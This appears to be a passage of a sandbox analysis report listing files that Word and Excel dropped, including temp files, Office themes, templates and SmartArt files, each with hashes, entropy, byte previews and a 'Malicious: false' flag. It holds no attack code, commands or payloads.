.....+...*.`.b..{.H\.s..._H..b..\|....>...x...o.<.D-..d..&+..'L....2..g<0...1.s.E_..c)..EY..4d..DCJP/....d&.......p4........Y..$.>^..\.Y8.:.wjg.+.~.j.".v....!<.......j...+.i.R.7....Fi.yRA.2+.tK....F3..f4..m...L..z>.X.....,..hv..y..j.G.....s..`..e..<....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRF{EAD03B08-D38F-478F-A357-709EB0ED1D18}.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	58368
Entropy (8bit):	7.284859150557242
Encrypted:	false
SSDEEP:	768:FYX89n64o5bzkv8iCjOm3uv90YVXHw7YX89n64o5bzkv8iCjOm3uv90YVXHw:eyviF3WTNH1yviF3WTNH
MD5:	D2672EFA59D4FFBD8988710F6029244D
SHA1:	C4D5E5E45C2B62E44C69E6E5457BBEA6EF03106E
SHA-256:	D4EB74E830298249513AE50A2FC2BC2EE55DA60C6A2F18851DD99468F9A2E441
SHA-512:	CD4D9EB128277D8D60DB339A5145829557D4EAAE0C1A0099545AC141DA657CE659FC1799F27BB9A687B5B4ABB7253CC0933CA0F72428CECB05D7861D2411CE63
Malicious:	false
Preview:	......................>...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................9....................................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8.......:...;.......=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...........................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{1DB43F7C-C0FA-4460-B641-566F2D632836}.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	1536
Entropy (8bit):	0.5110869956745682
Encrypted:	false
SSDEEP:	3:Gg7NNKElClDK/lNlmn/lvllLl/sY/lzNBqkzNB/gdllqPxZlhQtCh+6n:3pUElClDK/Gt7j/a4PxZUtv6
MD5:	D0B6BE63A64B068C27C1922F93A3F9FD
SHA1:	8B3206647D2B08764EBE6D176945BBCE8E0552CC
SHA-256:	2CC7E29408559907A756F5CF1B9BDED8A8FC81B9BD010F28A2C2CCCE41F42669
SHA-512:	E1231FE774E24404F7FE77282D930AA3824102BE0047E8345C410EAA8FAC3D973DB4D11205D47A69A69EC459F0FEAD98D3363B72DC2299A39F6C5E904CEE9718
Malicious:	false
Preview:	....E.M.B.E.D. .P.a.c.k.a.g.e..... . ...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{CE0B1BAC-A728-4D15-9299-6FA004914D94}.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	1536
Entropy (8bit):	1.5043529027325284
Encrypted:	false
SSDEEP:	6:mEMEEE3Dmlq14sl9lCgKG6qQl0ly2TaqE7PDg0lgl7:tDmQ19YP7uzh07Jlgh
MD5:	3C752AE1FE50E3381206CE3FD2CD0874
SHA1:	2C100BAC01B5D71ED20F90418E0C1F875D39A165
SHA-256:	1C8C77D74F647ED626CE11A54BD0C3402BDFEBA2B69620B07B13252AA2A27C65
SHA-512:	6A368D690F61563CC09F825C057C4FEA7786265F81633488024CE2D6DA7EA6631E08B4467D81D5AD29CD15E20F9D8FFF0E4543DE637A09738BB5EBCB54228084
Malicious:	false
Preview:	....1.2.....1.2.....1.....1.....1.2.....1.2.....1.2.....1.2.....(.....(.....(.....(.....(...j.o.n.e.s...j............................................................................................................................................................................................................................................................................................................................................................................................................................................................... ...&...(.......0...6...8...>...@...D...F...J...L...P...R...V...X...\...h...l...................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\bkeoxH[1].txt

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	38
Entropy (8bit):	4.218469211370857
Encrypted:	false
SSDEEP:	3:XMzKXvwg3ekVR:wKoPg
MD5:	747C4630DB2B517212CBB21C143BBCC0
SHA1:	C6EF21A5467CEC5C604F2A1D74F3CA01FEA45766
SHA-256:	9BECF04824FD08F7A82078A50CD483D16682F0F04FCABA8464E1AB64CF719283
SHA-512:	195DE64DA15BD3E5731E0C2732565908765429C423D619E679F7D153493532CA37DF5D25D2F107CC960EACA037A27D6875E5C4192D85F01480CB8E757959558C
Malicious:	false
Preview:	Moved Permanently. Redirecting to /404

C:\Users\user\AppData\Local\Temp\C69BA462.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	836
Entropy (8bit):	2.7151910322565733
Encrypted:	false
SSDEEP:	24:gDIrgk+vpKAgu+l+tHGFAAJp9WtAZRJ5yoIHWK:smp+RfgXl++AAJtfJ5LIHD
MD5:	2F5E0F888615B475D6324370FBE0615E
SHA1:	4B95EE6C6FD4DF579D1E4A0078E64EC0938B3220
SHA-256:	67DEC07430DEC311B545CEAF0852043519CB2608081142AA4A32DEC7BFCBC4F5
SHA-512:	45B20EAFDB21FFB349AD162134FDA607CF5E5C384DFDD8B9E729CA0AEDE331175DA032F70CA64A52179FCE5798321D70BA2DE5F0F9E47D98F18843660769B103
Malicious:	false
Preview:	1.1.9.,.2.5.5.0.5.0.8.8.,.1.2.5.,.3.7.4.6.3.7.6.,.1.1.9.6.3.7.8.,.1.7.8.8.6.5.8.,.7.0.0.9.9.8.4.,.3.0.0.4.9.2.6.8.,.;.3.2.9.4.5.8.7.9.9.,.3.7.4.6.3.7.8.,.2.3.7.1.6.5.1.,.6.3.6.4.3.3.4.,.1.1.1.1.,.3.0.1.5.3.7.2.1.,.6.3.6.4.3.3.7.,.1.0.0.1.,.6.5.4.0.2.1.5.,.1.0.4.9.5.2.3.4.,.4.0.6.9.3.5.8.2.,.2.4.6.0.9.2.5.8.,.6.3.6.4.3.1.8.,.3.0.1.2.3.4.6.6.,.2.7.1.5.3.4.9.7.,.6.3.7.1.6.9.4.,.5.9.2.2.3.4.2.3.,.5.7.9.9.9.6.6.1.,.1.5.6.1.9.5.8.,.6.3.0.6.3.0.9.9.,.2.7.3.6.0.0.9.5.,.5.8.4.2.5.8.6.0.,.6.1.7.0.7.3.0.7.,.6.3.6.4.3.3.0.,.6.3.6.4.3.3.1.,.6.7.4.8.3.9.6.1.4.,.3.3.7.9.1.6.2.,.4.7.3.8.2.9.4.8.,.1.6.5.7.4.5.3.,.1.0.6.9.5.5.2.,.1.6.5.7.4.5.2.,.5.2.9.1.0.0.0.0.,.1.3.5.2.5.8.6.,.1.3.5.2.5.8.7.,.1.7.7.1.6.5.7.,.1.0.2.3.8.6.4.,.1.0.2.3.6.3.8.,.6.3.7.1.6.9.5.,.3.2.0.5.9.2.7.6.7.,.4.8.1.9.5.5.3.8.,.1.4.6.1.9.5.3.,.6.3.6.4.3.3.2.,.1.1.9.6.2.9.3.,.

C:\Users\user\AppData\Local\Temp\Diagnostics\WINWORD\App1730269631408233400_05BCD4A2-EBFD-4E8D-969B-CA14E9BD6CB7.log

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	ASCII text, with very long lines (9928), with CRLF line terminators
Category:	dropped
Size (bytes):	43693
Entropy (8bit):	5.527352011362372
Encrypted:	false
SSDEEP:	768:j/TChjWeiyLX0akJowgCJcI/S/9v2LRdPYYg/N3+qbpbTGE83KfVKS9CguzQkluj:j/TChjWeiyDGJobiSF2LLPrg13pbhTGQ
MD5:	46CD4026FCD792C38132B20779A3EE99
SHA1:	E4431E86F947345B55CC2E1E548AE6AF1349D2C1
SHA-256:	081F0AAB1792C6E0E2B430549C800686F591C9D0A21916A345D76E054738008C
SHA-512:	C2A0801C64463EAFF6B16711C3F6865BFED01F931937C96561CB6464F68242CA57F7A96B26A69E2AE37F1C26CB4B9223C7DCA1BE1FB837564CC77F9656D2CD3E
Malicious:	false
Preview:	Timestamp.Process.TID.Area.Category.EventID.Level.Message.Correlation..10/30/2024 06:27:12.057.WINWORD (0x1CEC).0x1D48.Microsoft Word.Telemetry Event.b7vzq.Medium.SendEvent {"EventName":"Office.Telemetry.LoadXmlRules","Flags":33777014401990913,"InternalSequenceNumber":23,"Time":"2024-10-30T06:27:12.057Z","Contract":"Office.System.Activity","Activity.CV":"otS8Bf3rjU6Wm8oU6b1stw.7.1","Activity.Duration":195,"Activity.Count":1,"Activity.AggMode":0,"Activity.Success":false,"Activity.Result.Code":-2147024890,"Activity.Result.Type":"HRESULT","Activity.Result.Tag":528307459}...10/30/2024 06:27:12.072.WINWORD (0x1CEC).0x1D48.Microsoft Word.Telemetry Event.b7vzq.Medium.SendEvent {"EventName":"Office.Telemetry.ProcessIdleQueueJob","Flags":33777014401990913,"InternalSequenceNumber":24,"Time":"2024-10-30T06:27:12.072Z","Contract":"Office.System.Activity","Activity.CV":"otS8Bf3rjU6Wm8oU6b1stw.7","Activity.Duration":21571,"Activity.Count":1,"Activity.AggMode":0,"Activity.Success":false,"Data.Failure

C:\Users\user\AppData\Local\Temp\TCD27B.tmp\Mesh.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	3078052
Entropy (8bit):	7.954129852655753
Encrypted:	false
SSDEEP:	49152:bSEjlpY8skyFHuj2yY0ciM9U2NCVBB4YFzYFw7IaJE2VRK+Xn9DOOe9pp9N9Hu:bfp5sksA3cimUVxV05aJE2fKaDOXdN9O
MD5:	CDF98D6B111CF35576343B962EA5EEC6
SHA1:	D481A70EC9835B82BD6E54316BF27FAD05F13A1C
SHA-256:	E3F108DDB3B8581A7A2290DD1E220957E357A802ECA5B3087C95ED13AD93A734
SHA-512:	95C352869D08C0FE903B15311622003CB4635DE8F3A624C402C869F1715316BE2D8D9C0AB58548A84BBB32757E5A1F244B1014120543581FDEA7D7D9D502EF9C
Malicious:	false
Preview:	PK..........1AS'......ip......[Content_Types].xml..n.@.._......8ie'......}.......(y...H}......3Fi..%2.v?..3..._...d=..E.g.....7.i.-.t5.6......}}.m9r.......m...ML.g.M.eV$.r...M..l0...A...M..j;.w={o.f..F....i..v......5..d;..D.ySa...M&..qdw>.O.{h...\|w..5.]..'.CS<.:8C}.g.\|E.../..>..].Tnml..I.......r.Gv.E....7.;.E......4/l.....6.K.C?1qz.O.v_..r......\c.c.>..lS........X.N.3N.sN..N.)'.%'..'..N.pL.E...T.!..CR....Ie..k.o..M..w.B.0}..3....v..+....,.q..pz.......v{.;....s3.\|..V..ZZ......0.[.....x.....!.!~.8.e..n..&.}p....s.i.. ..[]...q.r....~..+.A\...q............e.-)h9..."Z.>...5-C..`..g.}........r.A.+..\...r.>.... .W.\...re?..%.-/hiA..ZR.r.W.D.\}.EK..kZ.>......5..9.&T......Wlu.b....}..+.A\...q......~.WK.Z^..........>.h..`......}.....^h....L...H...!...r.>... .W...\...rE?............-+hIA..\}..r...-}..i..`..G..j..).&T......Wlu.b....}..+.A\...q......~.WK.Z^..........>.h..`......}.....^j..K.L...H...!...r.>... .W...\...rE?............-+hIA..\}..r...-}..i.

C:\Users\user\AppData\Local\Temp\TCD27B.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	274
Entropy (8bit):	3.5303110391598502
Encrypted:	false
SSDEEP:	6:Q+sxnxUXzRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnylymD0wbnKNAH/lMz1
MD5:	8D1E1991838307E4C2197ECB5BA9FA79
SHA1:	4AD8BB98DC9C5060B58899B3E9DCBA6890BC9E93
SHA-256:	4ABA3D10F65D050A19A3C2F57A024DBA342D1E05706A8A3F66B6B8E16A980DB9
SHA-512:	DCDC9DB834303CC3EC8F1C94D950A104C504C588CE7631CE47E24268AABC18B1C23B6BEC3E2675E8A2A11C4D80EBF020324E0C7F985EA3A7BBC77C1101C23D01
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .M.e.s.h...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCD2AB.tmp\Main_Event.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	2924237
Entropy (8bit):	7.970803022812704
Encrypted:	false
SSDEEP:	49152:mc4NEo4XNd5wU5qTkdC4+K9u5b/i40RKRAO/cLf68wy9yxKrOUURBgmai2prH:mJef5yTSoKMF//DRGJwLx9DBaH
MD5:	5AF1581E9E055B6E323129E4B07B1A45
SHA1:	B849F85BCAF0E1C58FA841FFAE3476D20D33F2DD
SHA-256:	BDC9FBF81FBE91F5BF286B2CEA00EE76E70752F7E51FE801146B79F9ADCB8E98
SHA-512:	11BFEF500DAEC099503E8CDB3B4DE4EDE205201C0985DB4CA5EBBA03471502D79D6616D9E8F471809F6F388D7CBB8B0D0799262CBE89FEB13998033E601CEE09
Malicious:	false
Preview:	PK.........{MB.$<.~....p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`..^.......H^..<}...lA-.D.....lI/...hD.Z....\|VM..ze........L..tU...g....lQ....Y...>MI...5-....S......h=..u.h..?;h...@k...h...'Z...D...;.....h=..'Z...D...;.....)^./.../U.../..../U.../..../U..?...'.........Ngz..A.~.8.#D....xot.u.?...eyot.n..{..sk....[......Z..F....l...o)..o..o...oi..o)..o..,..b.s......2.C.z.~8.......f......x.9.\|.8..............u................r.nD..]...........w.~7...-...-...-...-...-...-....x.&l........>.4.z.~8..........=E....As.1..q. 9....w.7...1........w.}7......Ft...................o)..o..o...oi..o)..o..w.7a...x0...........d0..............A.......Fl.............Ft................w#...r.nD..]..M...K1.0..7....

C:\Users\user\AppData\Local\Temp\TCD2AB.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	286
Entropy (8bit):	3.5434534344080606
Encrypted:	false
SSDEEP:	6:Q+sxnxUXIc5+RELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxny4KcymD0wbnKNAH/lMz1
MD5:	C9812793A4E94320C49C7CA054EE6AA4
SHA1:	CC1F88C8F3868B3A9DE7E0E5F928DBD015234ABA
SHA-256:	A535AE7DD5EDA6D31E1B5053E64D0D7600A7805C6C8F8AF1DB65451822848FFC
SHA-512:	D28AADEDE0473C5889F3B770E8D34B20570282B154CD9301932BF90BF6205CBBB96B51027DEC6788961BAF2776439ADBF9B56542C82D89280C0BEB600DF4B633
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .M.a.i.n._.E.v.e.n.t...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCD32A.tmp\Vapor_Trail.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	3611324
Entropy (8bit):	7.965784120725206
Encrypted:	false
SSDEEP:	49152:ixc1kZBIabo4dTJyr3hJ50gd9OaFxTy+1Nn/M/noivF0po3M0h0Vsm:ixcaAabT83hJLdoaFxTygxcoiX3M0iCm
MD5:	FB88BFB743EEA98506536FC44B053BD0
SHA1:	B27A67A5EEC1B5F9E7A9C3B76223EDE4FCAF5537
SHA-256:	05057213BA7E5437AC3B8E9071A5577A8F04B1A67EFE25A08D3884249A22FBBF
SHA-512:	4270A19F4D73297EEC910B81FF17441F3FC7A6A2A84EBA2EA3F7388DD3AA0BA31E9E455CFF93D0A34F4EC7CA74672D407A1C4DC838A130E678CA92A2E085851C
Malicious:	false
Preview:	PK.........{MB.f}......p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.v...(=.v........F_..U..G...T.e.y)[..b.......3.m....6.X5.P........_...b../..}.-......~.-..z..d.......j.^.+c..E.V..~3}..U.7..~p.>.E..9^d....4%}.E.$....N..r....<....%...%.?....w.u...h........D...w.....h........Dkw...x..T....T....T....T....T....T....j...."[.J.....;..!4...M...............t.n-.{..skp...[;.......F...j.7...4fC...K1..K/..K-..K+..K)..K'..f9......Fl._.........d0...?7K7].........A.......Fl.............Ft....u.......Ft........\.......w....R.......R.......R........o...].`.....A....#.`..\.....S.._...4...o.........W<x#..............w#...r.nD..]....\.~....\|......b...^...Z...V...R...N..W<x......l._...l..?.A......xp_Q..y<h..tL.i.?HNn...]..........r.nD..]~.........wy~7......Ft...........E/\|c.

C:\Users\user\AppData\Local\Temp\TCD32A.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	288
Entropy (8bit):	3.5359188337181853
Encrypted:	false
SSDEEP:	6:Q+sxnxUXe46x8RELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnyO3UymD0wbnKNAH/lMz1
MD5:	0FEA64606C519B78B7A52639FEA11492
SHA1:	FC9A6D5185088318032FD212F6BDCBD1CF2FFE76
SHA-256:	60059C4DD87A74A2DC36748941CF5A421ED394368E0AA19ACA90D850FA6E4A13
SHA-512:	E04102E435B8297BF33086C0AD291AD36B5B4A97A59767F9CAC181D17CFB21D3CAA3235C7CD59BB301C58169C51C05DDDF2D637214384B9CC0324DAB0BB1EF8D
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .V.a.p.o.r._.T.r.a.i.l...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCD5CC.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	274
Entropy (8bit):	3.4699940532942914
Encrypted:	false
SSDEEP:	6:fxnxUXGWWYlIWimoa2nRE3QepmlJ0+3FbnKfZObdADxp1RDWlVwv:fxny2WzIgN2RGHmD0wbnKYZAH+Vwv
MD5:	55BA5B2974A072B131249FD9FD42EB91
SHA1:	6509F8AC0AA23F9B8F3986217190F10206A691EA
SHA-256:	13FFAAFFC987BAAEF7833CD6A8994E504873290395DC2BD9B8E1D7E7E64199E7
SHA-512:	3DFB0B21D09B63AF69698252D073D51144B4E6D56C87B092F5D97CE07CBCF9C966828259C8D95944A7732549C554AE1FF363CB936CA50C889C364AA97501B558
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .I.n.s.i.g.h.t. .d.e.s.i.g.n. .s.e.t...d.o.t.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.W.D. .D.o.c.u.m.e.n.t. .P.a.r.t.s.}.........

C:\Users\user\AppData\Local\Temp\TCD5CC.tmp\Insight design set.dotx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Word 2007+
Category:	dropped
Size (bytes):	3465076
Entropy (8bit):	7.898517227646252
Encrypted:	false
SSDEEP:	98304:n8ItVaN7vTMZ9IBbaETXbI8ItVaN7vTMZ9IBbaEiXbY:8ItwNX9BvTvItwNX9BvoM
MD5:	8BC84DB5A3B2F8AE2940D3FB19B43787
SHA1:	3A5FE7B14D020FAD0E25CD1DF67864E3E23254EE
SHA-256:	AF1FDEEA092169BF794CDC290BCA20AEA07AC7097D0EFCAB76F783FA38FDACDD
SHA-512:	558F52C2C79BF4A3FBB8BB7B1C671AFD70A2EC0B1BDE10AC0FED6F5398E53ED3B2087B38B7A4A3D209E4F1B34150506E1BA362E4E1620A47ED9A1C7924BB9995
Malicious:	false
Preview:	PK.........Y5B................[Content_Types].xml ...(.................................................................................................................................................................................................................................................................................................................................................................................................................................................`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`..^.....g.../i..b../..}.-......U.....o.7B.......}@[..4o...E9n..h...Y....D.%......F....g..-!.\|p.....7.pQVM.....B.g.-.7....:...d.2...7bA..Us.z.`.r..,.m."..n....s.O^.....fL.........7.....-...gn,J..iU..$.......i...(..dz.....3\|

C:\Users\user\AppData\Local\Temp\TCDE9D0.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	3.484503080761839
Encrypted:	false
SSDEEP:	6:fxnxUXGdQ1MecJZMlWlk2E3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxny2dQ98MlWlzGHmD0+dAH/luWvv
MD5:	1309D172F10DD53911779C89A06BBF65
SHA1:	274351A1059868E9DEB53ADF01209E6BFBDFADFB
SHA-256:	C190F9E7D00E053596C3477455D1639C337C0BE01012C0D4F12DFCB432F5EC56
SHA-512:	31B38AD2D1FFF93E03BF707811F3A18AD08192F906E36178457306DDAB0C3D8D044C69DE575ECE6A4EE584800F827FB3C769F98EA650F1C208FEE84177070339
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .I.n.t.e.r.c.o.n.n.e.c.t.e.d.B.l.o.c.k.P.r.o.c.e.s.s...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCDE9D0.tmp\InterconnectedBlockProcess.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	9191
Entropy (8bit):	7.93263830735235
Encrypted:	false
SSDEEP:	192:oeAMExvPJMg+yE+AfJLi3+Xoj7F3sPgMG61J88eDhFWT7hFNsdJtnLYJ7tSh:v2d+hnfJLi3+4ja4WqhFWT7FsdHMA
MD5:	08D3A25DD65E5E0D36ADC602AE68C77D
SHA1:	F23B6DDB3DA0015B1D8877796F7001CABA25EA64
SHA-256:	58B45B9DBA959F40294DA2A54270F145644E810290F71260B90F0A3A9FCDEBC1
SHA-512:	77D24C272D67946A3413D0BEA700A7519B4981D3B4D8486A655305546CE6133456321EE94FD71008CBFD678433EA1C834CFC147179B31899A77D755008FCE489
Malicious:	false
Preview:	PK.........]w>....<...5.......diagrams/layout1.xmlz........].r.F.}......1w`.J..'.......w..Dn. d....~........pw...O.......s...?...p7.t>e.r<.]u.e..d..\|8..\uo.......K...._.Y..E6.\|..y;........y.*/:o./...:[.o.+/.....?.....Z.?..s..d}...S.`...b.^o9.e.ty9_d...y>M.....7...e....."....<.v.u...e:].N.t....a....0..}..bQ.Y..>.~..~...U.\|..Ev.....N...bw....{...O..Y.Y.&........A.8Ik...N.Z.P.[}t........\|m...E..v..,..6........_?..."..K<.=x....$..%@.e..%....$=F..G..e........<F..G51..;......=...e.e.q..d......A...&9'.N.\%.=N.Z.9.s......y.4.Q.c......\|8.......Eg.:.ky.z.h.......).O...mz...N.wy.m...yv....~8.?Lg..o.l.y:.....z.i..j.irxI.w...r.......\|.=....s};.\u.{t;i~S.......U7..mw...<.vO...M.o...W.U.....}.`V<\|..%....l..`>]..".].I.i.N..Z..~Lt.........}?..E~:..>$......x...%.........N....'C.m.=...w.=.Y...+'M.].2 >.]_~...'.?...:....z.O..Y......6..5...sj?.....).B..>.3...G...p.9.K!..[H..1$v../...E V..?`....+[...C......h..!.QI5....<.>...A.d.......

C:\Users\user\AppData\Local\Temp\TCDE9F4.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	252
Entropy (8bit):	3.4680595384446202
Encrypted:	false
SSDEEP:	6:fxnxUXivlE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnyydGHmD0+dAH/luWvv
MD5:	D79B5DE6D93AC06005761D88783B3EE6
SHA1:	E05BDCE2673B6AA8CBB17A138751EDFA2264DB91
SHA-256:	96125D6804544B8D4E6AE8638EFD4BD1F96A1BFB9EEF57337FFF40BA9FF4CDD1
SHA-512:	34057F7B2AB273964CB086D8A7DF09A4E05D244A1A27E7589BDC7E5679AB5F587FAB52A2261DB22070DA11EF016F7386635A2B8E54D83730E77A7B142C2E3929
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .a.r.c.h.i.t.e.c.t.u.r.e...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCDE9F4.tmp\architecture.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	5783
Entropy (8bit):	7.88616857639663
Encrypted:	false
SSDEEP:	96:CDG4D+8VsXzXc2zLXTJ2XFY47pk2G7HVlwFzTXNbMfmn2ivLZcreFWw5fc9ADdZm:CDG4DRGY23l2Xu47GL7YtT9V29yWvWdk
MD5:	8109B3C170E6C2C114164B8947F88AA1
SHA1:	FC63956575842219443F4B4C07A8127FBD804C84
SHA-256:	F320B4BB4E57825AA4A40E5A61C1C0189D808B3EACE072B35C77F38745A4C416
SHA-512:	F8A8D7A6469CD3E7C31F3335DDCC349AD7A686730E1866F130EE36AA9994C52A01545CE73D60B642FFE0EE49972435D183D8CD041F2BB006A6CAF31BAF4924AC
Malicious:	false
Preview:	PK.........A;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK........pnB;.M.:....g......._rels/.rels...J.0.._%.n....xp..,{.i2M.........G..........7...3o/.......d.kyU....^..[>Q....j.#P.H......Z>..+!...B*\|@...G...E....E]..".3.......!..7....,:..,.......Ot..0r....Z..&1..U..p.U-.[Uq&.......................Gyy.}n.(.C(i.x........?.vM..}..%.7.b.>L..]..PK........EV:5K..4....H......diagrams/layout1.xml.Yo.6........S.`......$M...Q8A...R..T.k...K.4CQG..}.A..9.?R....!&...Q..ZW.......Q....<8..z..g....4{d.>..;.{.>.X.....Y.2.......cR....9e.. ...}L.....yv&.&...r..h...._..M. e...[..}.>.k..........3.`.ygN...7.w..3..W.S.....w9....r(....Zb..1....z...&WM.D<......D9...ge......6+.Y....$f......wJ$O..N..FC..Er........?..is...-Z

